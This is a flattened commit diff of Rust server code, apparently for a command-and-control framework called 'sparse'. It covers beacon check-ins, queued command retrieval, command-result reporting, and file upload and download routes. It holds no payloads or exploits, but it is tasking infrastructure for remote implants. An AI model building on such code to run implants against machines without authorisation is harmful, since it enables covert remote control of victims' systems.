.ok_or(error::Error::Generic("could not load configuration".to_string()))?; .ok_or(error::Error::Generic("could not load configuration".to_string()))?;
let actions = sqlx::query!(
"SELECT cmd.command_id, cmd.cmd_parameters FROM beacon_instance inst
INNER JOIN beacon_command_invocation bci ON bci.beacon_id = inst.beacon_id
INNER JOIN beacon_command cmd ON cmd.command_id = bci.command_id
WHERE inst.beacon_id = ?
AND bci.invocation_date IS NULL",
reg.beacon_id
)
.fetch_all(&state.db)
.await?;
let actions = actions
.iter()
.map(|rec| (
rec.command_id,
serde_json::from_str::<sparse_actions::actions::Actions>(&rec.cmd_parameters)
))
.filter_map(|(id, act)| {
match act {
Ok(v) => Some((id, v)),
Err(e) => {
tracing::warn!("Error pulling action from database: {e:?}");
None
}
}
})
.collect::<Vec<_>>();
Ok(MsgPack(messages::BeaconConfig { Ok(MsgPack(messages::BeaconConfig {
runtime_config: current_beacon_reg runtime_config: current_beacon_reg,
unfinished_actions: actions
})) }))
} }
pub async fn handle_command_result(
State(state): State<ListenerState>,
Path((beacon_id, command_id)): Path<(String, i64)>,
MsgPack(cmd_res): MsgPack<messages::CommandInvocationResult>,
) -> Result<(), error::Error> {
let now = chrono::Utc::now();
sqlx::query!(
"UPDATE beacon_command_invocation
SET invocation_date = ?, invocation_result = ?
WHERE beacon_id = ? AND command_id = ?",
now,
cmd_res.result_body,
beacon_id,
command_id
)
.execute(&state.db)
.await?;
state.event_publisher.send(BeaconEvent::BeaconCommandFinished(beacon_id, command_id))?;
Ok(())
}
pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>) -> Router<()> { pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>) -> Router<()> {
Router::new() Router::new()
.route( .route(
"/checkin", "/checkin",
post(handle_checkin), post(handle_checkin),
) )
.route("/files/download/:fileid", post(|| async {}))
.route("/files/upload", post(|| async {}))
.route( .route(
"/upload/:beaconid/:commandid", "/finish/:beaconid/:commandid",
post(|| async { post(handle_command_result),
tracing::info!("Hello");
"hi there"
}),
) )
.with_state(ListenerState { db, event_publisher }) .with_state(ListenerState { db, event_publisher })
} }

View File

@ -33,7 +33,6 @@ pub async fn issue_command(
"No form data was provided".to_owned(), "No form data was provided".to_owned(),
))?; ))?;
while let Ok(Some(mut field)) = data.next_field().await { while let Ok(Some(mut field)) = data.next_field().await {
tracing::debug!("Processing field {:?}", field.name());
let Some(name) = field.name().map(|f| f.to_string()) else { continue; }; let Some(name) = field.name().map(|f| f.to_string()) else { continue; };
let file_name = field.file_name().map(str::to_string); let file_name = field.file_name().map(str::to_string);
@ -107,12 +106,11 @@ pub async fn issue_command(
)); ));
}; };
fields.remove("cmd_type");
let fields = serde_json::Value::Object(fields); let fields = serde_json::Value::Object(fields);
let parsed_fields = command_builder.build_action(fields, &db).await?;
command_builder.verify_json_body(fields.clone())?; let serialized_fields = serde_json::to_string(&parsed_fields)?;
serde_json::from_value::<sparse_actions::actions::Actions>(fields.clone())?;
let serialized_fields = serde_json::to_string(&fields)?;
let command_id = sqlx::query!( let command_id = sqlx::query!(
"INSERT INTO beacon_command (cmd_parameters) VALUES (?)", "INSERT INTO beacon_command (cmd_parameters) VALUES (?)",

View File

@ -476,6 +476,9 @@ async fn handle_listener_events(
let json = serde_json::to_string(&SidebarEvents::NewBeacon(beacon))?; let json = serde_json::to_string(&SidebarEvents::NewBeacon(beacon))?;
socket.send(ws::Message::Text(json)).await?; socket.send(ws::Message::Text(json)).await?;
} }
Ok(_) => {
// this event isn't meant for public announcement
}
Err(e) => { Err(e) => {
tracing::warn!("Unable to handle general event: {e:?}"); tracing::warn!("Unable to handle general event: {e:?}");
} }
@ -491,7 +494,7 @@ pub async fn serve_web(
let conf = get_configuration(None).unwrap(); let conf = get_configuration(None).unwrap();
let leptos_options = conf.leptos_options; let leptos_options = conf.leptos_options;
let routes = generate_route_list(App); let routes = generate_route_list(App);
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128); let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(4096);
let beacon_listeners = sparse_handler::BeaconListenerMap::default(); let beacon_listeners = sparse_handler::BeaconListenerMap::default();
tokio::fs::create_dir_all(&file_store).await?; tokio::fs::create_dir_all(&file_store).await?;